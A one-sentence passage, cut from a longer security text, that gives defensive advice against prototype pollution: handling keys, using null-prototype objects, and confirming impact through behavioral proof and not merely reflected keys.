keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.